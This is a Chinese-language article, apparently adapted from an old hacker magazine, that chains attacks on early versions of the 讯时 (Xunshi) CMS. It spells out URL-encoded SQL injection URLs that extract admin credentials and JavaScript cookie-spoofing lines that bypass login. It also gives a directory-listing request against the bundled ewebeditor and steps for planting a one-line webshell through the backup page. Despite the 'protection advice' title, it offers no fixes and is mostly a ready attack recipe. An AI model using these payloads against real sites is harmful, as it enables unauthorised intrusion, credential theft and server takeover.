讯时漏洞总结与安全防护建议

这篇文章的核心内容，源自当年《黑客防线》第9期的一篇实战攻防总结。今天重新整理出来，就当是为刚入门的安全爱好者画个重点——讯时CMS这套系统，在早期版本中，漏洞组合利用起来相当顺手。下面就把几个关键攻击点串联起来讲解。

先看一个典型的SQL注入点。例如这个URL：http://www.xx.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2。这里采用了URL编码绕过技术，直接就能将管理员表中的用户名和密码字段提取出来。

效果如图：

拿到用户名和密码后，MD5值通常需要破解。但如今安全防护意识普遍提升，密码越来越复杂，纯靠字典跑很难成功。这时可以换个思路——利用Cookies欺骗直接登录后台。三个关键cookie值分别是：adminuser（用户名）、adminpass（MD5值）、admindj（权限等级，设为1即可）。通过JavaScript在浏览器控制台设置即可，例如：

ja vascript:alert(document.cookie="adminuser="+escape("用户名"));
ja vascript:alert(document.cookie="adminpass="+escape("md5值"));
ja vascript:alert(document.cookie="admindj="+escape("1"));

不过这里有个问题：如果后台路径无法直接找到该怎么办？别急，下一个漏洞能让你更轻松地获取目标信息——因为讯时CMS集成了ewebeditor编辑器，而它没有做好验证逻辑。ewebeditor本身存在一个可列目录的漏洞。虽然它做了验证，但讯时最薄弱的环节恰恰就是验证机制，通过Cookies欺骗就能绕过，直接访问列目录页面。具体操作分两步：

先设置cookie：ja vascript:alert(document.cookie="admindj=1")
再访问：http://www.xx.com/edit/admin_uploadfile.asp?id=46&dir=../..

效果如图：

这样一来，全站目录一览无余，找到后台目录后直接进入。进入后台后如何获取Webshell？上传一个一句话木马，然后通过备份功能即可搞定。有时管理员会将备份页面从菜单中移除，但备份文件本身仍然存在于服务器上，照样可以通过列目录找到它，直接访问备份页面：

ja vascript:alert(document.cookie="admindj=1")
http://www.xx.com/admin/admin_db_backup.asp?action=BackupData

备份成功，Webshell到手。

那么，如果上面两个漏洞都被管理员封堵了呢？别急，还有第三个注入点。在admin目录下有一个admin_lm_edit.asp页面，它的id参数未经任何过滤。先通过Cookies欺骗获取权限，然后对该页面进行注入。步骤如下：

设置cookie：ja vascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
然后请求admin/admin_chk.asp页面进行验证，再输入注入语句：admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin

效果如图所示：

这三板斧打下来，基本就能把讯时CMS拿捏得死死的。当然，现在的新版系统大多已经修补了这些漏洞，但理解当年的攻击思路，对于提升安全防护意识仍然大有裨益。